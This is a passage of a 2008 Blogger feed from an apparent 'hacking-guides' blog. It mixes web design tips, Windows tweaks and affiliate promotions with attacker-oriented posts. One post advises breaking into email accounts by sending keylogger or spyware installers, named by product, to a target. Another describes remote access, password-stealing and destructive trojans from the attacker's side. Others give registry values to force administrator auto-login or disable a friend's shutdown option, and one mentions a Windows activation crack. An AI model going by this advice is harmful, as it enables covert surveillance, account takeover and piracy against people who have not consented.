colors.&lt;/font&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-560990224162693178?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/560990224162693178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=560990224162693178' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/560990224162693178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/560990224162693178'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/10/image-formats_06.html' title='Image formats'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8246812277336457658</id><published>2008-03-25T01:53:00.000-07:00</published><updated>2008-03-25T01:55:51.565-07:00</updated><title type='text'>12 Great Tips and tricks of Web designing</title><content type='html'>Here are 12 great tips and tricks from professional web designers:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.1:&lt;/strong&gt;&lt;br /&gt;Put Important Information Near the Top Organize your pages from the top down.&lt;br /&gt;Important info should be easy to find.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.2&lt;/strong&gt;: Limit Length of Pages Two or three screens should be the maximum length of any page.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.3:&lt;/strong&gt; Make Navigation Simple Be consistent in your placement of navigational tool, i.e. menus, buttons, etc.Make Images As Small As Possible Reduce physical size of images in Paint program before placing in your web page.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.4:&lt;/strong&gt; Use Web Palette (216 colors) This keeps files small and makes images look good on all monitors and systems.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.5:&lt;/strong&gt; Use GIF and JPEG Properly Use JPEG for photos and GIF for everything else.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.6:&lt;/strong&gt; Avoid Busy Backgrounds Text should be easy to read.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.7:&lt;/strong&gt; Make sure you have enough contrast.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.8&lt;/strong&gt;: Use ALT Parameter (low-res and/or text) for Images This is important for people viewing your pages with older computers.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.9:&lt;/strong&gt; Avoid Excessive Animation . Don’t animate images unless you have a good reason – it can be very irritating.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.10:&lt;/strong&gt; Use Tables to Format Text and Images This is the best way to control your layout.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.11:&lt;/strong&gt; Use Common Fonts This ensures that everyone sees your page as you designed it.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tip and trick No.12:&lt;/strong&gt; Don’t Center Entire Pages Use this only for titles and special situations.&lt;br /&gt;&lt;br /&gt;These are the basics tips and tricks of Web designing...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8246812277336457658?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8246812277336457658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8246812277336457658' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8246812277336457658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8246812277336457658'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/12-great-tips-and-tricks-of-web.html' title='12 Great Tips and tricks of Web designing'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-70380029984093399</id><published>2008-03-25T01:47:00.000-07:00</published><updated>2008-03-25T01:50:50.645-07:00</updated><title type='text'>How to obtain new ip</title><content type='html'>1. Click on "Start" in the bottom left hand corner of screen&lt;br /&gt;2. Click on "Run"&lt;br /&gt;3. Type in "command" or "cmd"and hit ok&lt;br /&gt;&lt;br /&gt;You should now be at an MSDOS prompt screen.&lt;br /&gt;&lt;br /&gt;4. Type "ipconfig /release" just like that, and hit "enter"&lt;br /&gt;5. Type "exit" and leave the prompt&lt;br /&gt;6. Right-click on "Network Places" or "My Network Places" on your desktop.&lt;br /&gt;7. Click on "properties"&lt;br /&gt;&lt;br /&gt;You should now be on a screen with something titled "Local Area Connection",&lt;br /&gt;&lt;br /&gt;8. Right click on "Local Area Connection" and click "properties"&lt;br /&gt;&lt;br /&gt;9. Double-click on the "Internet Protocol (TCP/IP) " from the list under the "General" tab&lt;br /&gt;&lt;br /&gt;10. Click on "Use the following IP address" under the "General" tab&lt;br /&gt;&lt;br /&gt;11. Create an IP address (put any ip there like 1.2.3.4 it doesn't matter what you give there , this is only to tell you how to change your "IP" .&lt;br /&gt;&lt;br /&gt;12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.&lt;br /&gt;&lt;br /&gt;13. Hit the "Ok" button here&lt;br /&gt;&lt;br /&gt;14. Hit the "Ok" button again&lt;br /&gt;&lt;br /&gt;You should now be back to the "Local Area Connection" screen.&lt;br /&gt;&lt;br /&gt;15. Right-click back on "Local Area Connection" and go to properties again.&lt;br /&gt;&lt;br /&gt;16. Go back to the "TCP/IP" settings&lt;br /&gt;&lt;br /&gt;17. This time, select "Obtain an IP address automatically"&lt;br /&gt;&lt;br /&gt;18. Hit "Ok"&lt;br /&gt;&lt;br /&gt;19. Hit "Ok" again&lt;br /&gt;&lt;br /&gt;20. You now have a new IP address&lt;br /&gt;&lt;br /&gt;With a little practice, you can easily get this process down to 15 seconds.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-70380029984093399?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/70380029984093399/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=70380029984093399' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/70380029984093399'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/70380029984093399'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/how-to-obtain-new-ip.html' title='How to obtain new ip'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-5641624098787306742</id><published>2008-03-10T03:11:00.001-07:00</published><updated>2008-03-10T03:14:47.803-07:00</updated><title type='text'>Succesful method of breaking in e-mail accounts</title><content type='html'>One of the most successful method is achieved with the used of keyloggers and spy software. There are lots of spyware, logging tools available today such as &lt;strong&gt;007, RemoteSpy, Netvizor, Email Spy, Chat Spy, Spector Pro, eBlaster, Invisible Keylogger,&lt;/strong&gt; to name a few. This software will create a self extracting or installation file, you can then run it in the computer for surveillance, or email it to your target. The only question is, how can you convinced the recipient to open it?&lt;br /&gt;&lt;br /&gt;Most hackers does not really hacking passwords by penetrating Yahoo, Hotmail, Gmail, and AOL servers, instead they will go for the easy way - the end user, that's you. It's not what you see on the movies such like "Hackers," "SwordFish," and so on. Too good to be true! &lt;strong&gt;&lt;em&gt;&lt;span style="color:#330033;"&gt;They don't actually hack, but logs every stroke on your keyboard including the passwords you have input.&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Keep in mind that computer surveillance Programs should be used only if necessary, it was not created to invade someone's privacy. If you are going to use it, be a responsible user.&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-5641624098787306742?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/5641624098787306742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=5641624098787306742' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5641624098787306742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5641624098787306742'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/one-of-most-successful-method-is.html' title='Succesful method of breaking in e-mail accounts'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7774348476329348878</id><published>2008-03-10T03:09:00.000-07:00</published><updated>2008-03-10T03:13:57.559-07:00</updated><title type='text'>Danger of ctrl+c in web</title><content type='html'>Just try this:&lt;br /&gt;&lt;strong&gt;1)&lt;/strong&gt; Copy any text by 'ctrl+c'&lt;br /&gt;&lt;strong&gt;2)&lt;/strong&gt; Click the Link:&lt;strong&gt; http://www.sourcecodesworld.com/special/clipboard.asp&lt;br /&gt;&lt;/strong&gt;You will see the text you copied on the Screen which was accessed by this web page. (Check it out !!)&lt;br /&gt;&lt;br /&gt;Do not keep sensitive data (like passwords, reditcard numbers, PIN etc.) in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information.&lt;br /&gt;&lt;br /&gt;Be cautious ...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000066;"&gt;To avoid Clipboard Hack Problem, do the following:&lt;br /&gt;1. In Internet Explorer, Go to Tools -&gt; Internet options -&gt; Security&lt;br /&gt;2. Press Custom level.&lt;br /&gt;3. In the security settings, select disable under Allow paste operations via script and click on 'OK. (Now the contents of your clipboard are safe&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7774348476329348878?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7774348476329348878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7774348476329348878' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7774348476329348878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7774348476329348878'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/just-try-this-1-copy-any-text-by-ctrlc.html' title='Danger of ctrl+c in web'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4692150345653780589</id><published>2008-03-10T02:43:00.000-07:00</published><updated>2008-03-10T02:44:16.257-07:00</updated><title type='text'>Enable Hidden Program Uninstallation !!</title><content type='html'>Enable Hidden Program Uninstallation !!&lt;br /&gt;Add/Remove optional features of Windows XP&lt;br /&gt;&lt;br /&gt;To dramatically expand the list of applications you can remove from Windows XP after installation, navigate to &lt;strong&gt;C:\WINDOWS\inf&lt;/strong&gt; (substituting the correct drive letter for your version of Windows) and open the &lt;strong&gt;sysoc.inf file&lt;/strong&gt;. Under Windows XP Professional Edition RC1, this file will resemble the following by default:&lt;br /&gt;&lt;br /&gt;[&lt;strong&gt;&lt;span style="color:#000066;"&gt;Version] Signature = "$Windows NT$"&lt;br /&gt;DriverVer=06/26/2001,5.1.2505.0&lt;br /&gt;&lt;br /&gt;[Components]&lt;br /&gt;NtComponents=ntoc.dll,NtOcSetupProc,,4&lt;br /&gt;WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7&lt;br /&gt;Display=desk. cpl,DisplayOcSetupProc,,7&lt;br /&gt;&lt;br /&gt;Fax=fxsocm. dll,FaxOcmSetupProc,fxsocm.inf,,7&lt;br /&gt;NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7&lt;br /&gt;iis=iis.dll,OcEntry,iis.inf,,7&lt;br /&gt;com=comsetup.dll,OcEntry,comnt5.inf,hide,7&lt;br /&gt;dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7&lt;br /&gt;IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7&lt;br /&gt;TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2&lt;br /&gt;msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6&lt;br /&gt;ims=imsinsnt.dll,OcEntry,ims.inf,,7&lt;br /&gt;fp_extensions=fp40ext. dll,FrontPage4Extensions,fp40ext.inf,,7&lt;br /&gt;AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7&lt;br /&gt;msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7&lt;br /&gt;msnexplr=ocmsn.dll,OcEntry,msnmsn.inf,,7&lt;br /&gt;smarttgs=ocgen.dll,OcEntry,msnsl.inf,,7&lt;br /&gt;RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7&lt;br /&gt;Games=ocgen.dll,OcEntry,games.inf,,7&lt;br /&gt;AccessUtil=ocgen.dll,OcEntry,accessor.inf,,7&lt;br /&gt;CommApps=ocgen.dll,OcEntry,communic.inf,HIDE,7&lt;br /&gt;MultiM=ocgen.dll,OcEntry,multimed.inf,HIDE,7&lt;br /&gt;AccessOpt=ocgen.dll,OcEntry,optional.inf,HIDE,7&lt;br /&gt;Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7&lt;br /&gt;MSWordPad=ocgen.dll,OcEntry,wordpad.inf,HIDE,7&lt;br /&gt;ZoneGames=zoneoc.dll,ZoneSetupProc,igames.inf,,7&lt;br /&gt;&lt;br /&gt;[Global]&lt;br /&gt;WindowTitle=%WindowTitle%&lt;br /&gt;&lt;br /&gt;WindowTitle.StandAlone="*"&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;The entries that include the text hide or HIDE will not show up in Add/Remove Windows Components by default. To fix this, do a global search and replace for ,hide and change each instance of this to , (a comma). Then, save the file, relaunch Add/Remove Windows Components, and tweak the installed applications to your heart's content.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4692150345653780589?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4692150345653780589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4692150345653780589' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4692150345653780589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4692150345653780589'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/enable-hidden-program-uninstallation.html' title='Enable Hidden Program Uninstallation !!'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-1844747843167901040</id><published>2008-03-10T02:40:00.001-07:00</published><updated>2008-03-10T02:42:00.977-07:00</updated><title type='text'>Change your cd key</title><content type='html'>You don't need to re-install if you want to try the key out ... just do this:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;&lt;span style="color:#006600;"&gt;1. Go to Activate Windows&lt;br /&gt;2. Select the Telephone option&lt;br /&gt;3. Click "Change Product Key"&lt;br /&gt;4. Enter xxxxx-xxxxx-xxxxx-xxxxx-xxxxx ( your 25 character product key)&lt;br /&gt;5. Click "Update"&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;Now log off and log back in again. It should now show 60 days left, minus the number of days it had already counted down.&lt;br /&gt;Note: If your crack de-activated REGWIZC.DLL and LICDLL.DLL, you are going to have to re-register them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-1844747843167901040?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/1844747843167901040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=1844747843167901040' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1844747843167901040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1844747843167901040'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/change-your-cd-key.html' title='Change your cd key'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3276209819278556579</id><published>2008-03-10T02:32:00.000-07:00</published><updated>2008-03-10T02:40:41.846-07:00</updated><title type='text'>Registry hacking</title><content type='html'>Registry Hacking&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#33cc00;"&gt;Display legal notice on startup&lt;/span&gt;&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.&lt;br /&gt;&lt;strong&gt;REGEDIT&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]&lt;br /&gt;"legalnoticecaption"="enter your notice caption"&lt;br /&gt;"legalnoticetext"="enter your legal notice text"&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#33cc00;"&gt;Automatic Administrator Login:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#6600cc;"&gt;REGEDIT 4&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]&lt;br /&gt;"AutoAdminLogon"="1"&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;&lt;span style="color:#993399;"&gt;No Shutdown&lt;/span&gt;:&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Wanna play with your friends by removing the shutdown option from start menu in their computer.&lt;br /&gt;Just hack it down !!!&lt;br /&gt;Regedit&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#339999;"&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer&lt;br /&gt;"NoClose"="DWORD:1" &lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3276209819278556579?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3276209819278556579/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3276209819278556579' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3276209819278556579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3276209819278556579'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/03/registry-hacking-display-legal-notice.html' title='Registry hacking'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-2264270104681756770</id><published>2008-02-18T00:14:00.000-08:00</published><updated>2008-02-18T00:16:35.113-08:00</updated><title type='text'>Different kinds of trojans</title><content type='html'>These trojans are the most popular trojans now.&lt;br /&gt;Everyone wants to have such trojan because he&lt;br /&gt;or she want to have access to their victim's hard drive.&lt;br /&gt;The RAT'S (remote access trojans)are very&lt;br /&gt;simple to use.Just make someone run the server&lt;br /&gt;and you get the victim's IP and you have FULL&lt;br /&gt;access to his or her computer.They you can&lt;br /&gt;almost everything it depends of the trojan you use.&lt;br /&gt;But the RAT'S have the common remote access trojan functions like:&lt;br /&gt;keylogger,upload and download function,&lt;br /&gt;make a screen shot and so on.Some people use the&lt;br /&gt;trojans for malicious purposes.&lt;br /&gt;They want just to delete and delete.This is lame.&lt;br /&gt;There are many programs out there&lt;br /&gt;that detects the most common trojans,but new trojans are&lt;br /&gt;coming every day and these programs are not the maximum defense.&lt;br /&gt;The trojans do always the same things.&lt;br /&gt;If the trojan restart every time Windows is loaded that&lt;br /&gt;means it put something in the registry&lt;br /&gt;or in win.ini or in other system file so the trojan can restart.&lt;br /&gt;Also the trojans create some file in&lt;br /&gt;the WINDOWS\SYSTEM directory.The file is always looking&lt;br /&gt;to be something that the victim will think&lt;br /&gt;is a normal WINDOWS executable.Most trojans hide&lt;br /&gt;from the Alt+Ctrl+Del menu.This is not&lt;br /&gt;good because there are people who use only this way to see&lt;br /&gt;which process are running.There are programs&lt;br /&gt;that will tell me you exactly the process and the&lt;br /&gt;file from where it comes.Yeah but some trojans&lt;br /&gt;as I told you use fake names and it's a little hard&lt;br /&gt;for some people to understand which process&lt;br /&gt;should they kill.The remote access trojans opens&lt;br /&gt;a port on your computer letting everyone to connect.&lt;br /&gt;Some trojans has options like change the port&lt;br /&gt;and put a password so only the guy that infect you&lt;br /&gt;will be able to use the computer.The change&lt;br /&gt;port option is very good because I'm sure you&lt;br /&gt;don't want your victim to see that port 31337 is open&lt;br /&gt;on their computer.Remote access trojans are&lt;br /&gt;appearing every day and they will continue to appear.&lt;br /&gt;For those that use such trojans: BE CAREFUL&lt;br /&gt;you can infect yourself and they the victim you&lt;br /&gt;wanted to destroy will revenge and you'll be sorry.&lt;br /&gt;---------------------------------------&lt;br /&gt;&lt;strong&gt;Password Sending Trojans&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The purpose of these trojans is to rip all cached&lt;br /&gt;passwords and send them to specified e-mail&lt;br /&gt;without letting the victim about the e-mail.&lt;br /&gt;Most of these trojans don't restart every time Windows&lt;br /&gt;is loaded and most of them use port 25 to&lt;br /&gt;send the e-mail.There are such trojans that e-mail&lt;br /&gt;other information too like ICQ number&lt;br /&gt;computer info and so on.These trojans are dangerous if&lt;br /&gt;you have any passwords cached anywhere on your computer.&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;strong&gt;Keyloggers&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;These trojans are very simple.The only one thing&lt;br /&gt;they do is to log the keys that the victim is pressing&lt;br /&gt;and then check for passwords in the log file.&lt;br /&gt;In the most cases these trojans restart every&lt;br /&gt;time Windows is loaded.They have options&lt;br /&gt;like online and offline recording.In the online recording&lt;br /&gt;they know that the victim is online and&lt;br /&gt;they record everything.But in the offline recording&lt;br /&gt;everything written after Windows start is&lt;br /&gt;recorded and saved on the victims disk waiting for&lt;br /&gt;to be transferred.&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;strong&gt;Destructive&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The only one function of these trojans is to&lt;br /&gt;destroy and delete files.This makes them very simple&lt;br /&gt;and easy to use.They can automatically&lt;br /&gt;delete all your .dll or .ini or .exe files on your computer.&lt;br /&gt;These are very dangerous trojans and once&lt;br /&gt;you're infected be sure if you don't disinfect your&lt;br /&gt;computer information will no longer exist.&lt;br /&gt;-----------------------------------------&lt;br /&gt;&lt;strong&gt;FTP&lt;br /&gt;trojans&lt;/strong&gt;&lt;br /&gt;These trojans open port 21 on your computer&lt;br /&gt;letting EVERYONE that has a FTP client to connect&lt;br /&gt;to your computer without password and will full upload and download options.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;These are the most common trojans.They all are dangerous&lt;br /&gt;and you should me careful using them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-2264270104681756770?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/2264270104681756770/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=2264270104681756770' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2264270104681756770'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2264270104681756770'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/02/different-kinds-of-trojans.html' title='Different kinds of trojans'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3164988185008963469</id><published>2008-02-18T00:12:00.000-08:00</published><updated>2008-02-18T00:13:39.743-08:00</updated><title type='text'>Earn money by sms</title><content type='html'>Hi,&lt;br /&gt;How do you like the &lt;strong&gt;&lt;em&gt;&lt;span style="color:#009900;"&gt;idea of getting paid to receive SMS? m-earn promises you just that&lt;/span&gt;&lt;/em&gt;&lt;/strong&gt; !&lt;br /&gt;These messages would only contain offer and discounts based on your own interests. You also get to decide the number of ads you receive and their delivery times!&lt;br /&gt;Check out. &lt;strong&gt;&lt;a href="http://www.m-earn.com:8080/Beta/index.jsp?inviteID=211607"&gt;Here &lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;There is no limit to what you can earn by referring your friends and relatives..&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3164988185008963469?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3164988185008963469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3164988185008963469' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3164988185008963469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3164988185008963469'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/02/earn-money-by-sms.html' title='Earn money by sms'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-1121101911456614922</id><published>2008-02-18T00:08:00.000-08:00</published><updated>2008-02-18T00:11:54.201-08:00</updated><title type='text'>India's no.1 paying site</title><content type='html'>&lt;p&gt;&lt;strong&gt;Moneycosmos.com&lt;/strong&gt; - Affiliate Program India !&lt;br /&gt;Lots of People among them just want to sit beside the Pc and earn money .. In USA , Canada , Uk , and like all the Other Countries .. So here comes an oppurtunity for us to earn like they earn just sitting at home and Money Cosmos Helps us in Doing that , its simple just like 1 . 2 